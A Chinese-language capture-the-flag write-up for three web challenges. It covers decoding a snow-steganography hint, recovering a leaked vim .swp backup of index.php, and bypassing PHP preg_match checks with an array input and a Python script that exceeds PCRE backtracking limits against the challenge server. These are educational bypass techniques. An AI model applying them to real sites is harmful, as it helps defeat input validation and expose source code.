web1
web签到题竟然是个misc题。。。。
![](https://img.haomeiwen.com/i9202951/15e883f49aebf195.png)
snow-web解密
![](https://img.haomeiwen.com/i9202951/cfeef7cdebbd69dc.png)
![](https://img.haomeiwen.com/i9202951/8c9bdcf791859fa9.png)
web2
打开页面提示
![](https://img.haomeiwen.com/i9202951/47d972b9c00d8e5b.png)
百度一波
使用vi或vim命令打开一个文件,就会产生一个.(filename).swp的文件。
如果编辑完成之后,正常退出,那么这个swp文件就会被自动删除。
非正常关闭vi编辑器时会生成一个.swp文件
然后用大佬的脚本扫一波
![](https://img.haomeiwen.com/i9202951/66a9d49cfafdb482.png)
发现./index.php.swp文件
下载下来 拖到Linux 中恢复
vim -r index.php.swp
![](https://img.haomeiwen.com/i9202951/0235b7c78f62a597.png)
CTF--Vim文件泄露(.swp备份文件)
![](https://img.haomeiwen.com/i9202951/d30c59f276ff492b.png)
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'Merry Christmas. '.'flag{xxxxxx}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
?>
PHP所使用的preg_match()函数从用户输入字符串获得参数,如果所传送的值为数组而不是字符串就会生成警告,警告消息中包含有当前运行脚本的完整路径。
![](https://img.haomeiwen.com/i9202951/fafe2ce2b511ebfc.png)
web3
PHP - 函数绕过 - preg_match()
PHP利用PCRE回溯次数绕过某些安全限制
plus
![](https://img.haomeiwen.com/i9202951/2fb23cb4c6c782d7.png)
<?php
function areyouok($greeting){
return preg_match('/Merry.*Christmas/is',$greeting);
}
$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
if(!areyouok($greeting)){
if(strpos($greeting,'Merry Christmas')!==false){
echo 'Merry Christmas. '.'flag{xxxxxx}';
}else{
echo 'Do you know .swp file?';
}
}else{
echo 'Do you know PHP?';
}
}
?>
由于过滤了数组
利用pcre
正则回溯回溯
import requests
from io import BytesIO
files = {
'greeting':('Merry Christmas' + 'a' * 1000000)
}
res = requests.post('http://106.75.66.87:8888/index.php', data=files, allow_redirects=False)
print(res.text)
![](https://img.haomeiwen.com/i9202951/08cbe764b8df67f6.png)
网友评论